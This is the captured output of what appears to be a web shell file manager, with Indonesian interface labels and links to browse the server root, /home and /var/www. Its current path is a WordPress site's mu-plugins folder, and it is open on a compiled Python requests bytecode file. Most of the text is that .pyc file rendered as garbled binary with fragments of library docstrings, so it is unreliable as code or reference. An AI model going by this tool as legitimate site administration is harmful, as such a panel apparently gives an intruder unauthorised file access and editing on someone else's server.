📂 Advanced File Manager
Multi-Root Navigation System
⚡ Quick Jump
Server (/)
Home (/home)
Var_www (/var/www)
Current (/home4/shelley/public_html/shelleycutler.com/wp-content/mu-plugins)
📍 Go
⬆ Ke Atas
🏠 Root Server
🏠 Root App
🔄 Refresh
📀 /
›
usr
›
lib
›
python3.9
›
site-packages
›
oci
›
_vendor
›
requests
›
📁 __pycache__
📍
Lokasi:
/usr/lib/python3.9/site-packages/oci/_vendor/requests/__pycache__
💾
Free:
45.8 GB
⚠️ Direktori ini
tidak writable
.
✏️ Mengedit: sessions.cpython-39.pyc
a ���fIv � @ s� d Z ddlZddlZddlZddlmZ ddlmZ ddlm Z ddl mZmZm Z mZmZ ddlmZmZmZmZ dd lmZmZmZ dd lmZmZ ddlmZ ddlmZm Z m!Z! dd l"m#Z#m$Z$m%Z%m&Z& ddl'm(Z( ddl)m*Z* ddlm+Z+m,Z,m-Z-m.Z.m/Z/m0Z0m1Z1 ddl2m3Z3 ddlm4Z4 ej5dk�rXz ej6Z7W n e8�yT ej9Z7Y n0 nejZ7efdd�Z:efdd�Z;G dd� de<�Z=G dd� de=�Z>dd� Z?dS )z� requests.sessions ~~~~~~~~~~~~~~~~~ This module provides a Session object to manage and persist settings across requests (cookies, auth, proxies). � N)� timedelta)�OrderedDict� )�_basic_auth_str)� cookielib�is_py3�urljoin�urlparse�Mapping)�cookiejar_from_dict�extract_cookies_to_jar�RequestsCookieJar� merge_cookies)�Request�PreparedRequest�DEFAULT_REDIRECT_LIMIT)� default_hooks� dispatch_hook)�to_native_string)�to_key_val_list�default_headers� DEFAULT_PORTS)�TooManyRedirects� InvalidSchema�ChunkedEncodingError�ContentDecodingError)�CaseInsensitiveDict)�HTTPAdapter)�requote_uri�get_environ_proxies�get_netrc_auth�should_bypass_proxies�get_auth_from_url�rewind_body�resolve_proxies)�codes)�REDIRECT_STATI�win32c C sp |du r| S | du r|S t |t�r,t | t�s0| S |t|��}|�t| �� dd� |�� D �}|D ] }||= q`|S )z�Determines appropriate setting for a given request, taking into account the explicit setting on that request, and the setting in the session. If a setting is a dictionary, they will be merged together using `dict_class` Nc S s g | ]\}}|d u r|�qS �N� )�.0�k�vr) r) �A/usr/lib/python3.9/site-packages/oci/_vendor/requests/sessions.py� <listcomp>O � z!merge_setting.<locals>.<listcomp>)� isinstancer r �update�items)Zrequest_settingZsession_setting� dict_classZmerged_settingZ none_keys�keyr) r) r- � merge_setting7 s ��r5 c C s@ |du s|� d�g kr| S | du s0| � d�g kr4|S t| ||�S )z�Properly merges both requests and session hooks. This is necessary because when request_hooks == {'response': []}, the merge breaks Session hooks entirely. N�response)�getr5 )Z request_hooksZ session_hooksr3 r) r) r- �merge_hooksV s r8 c @ s>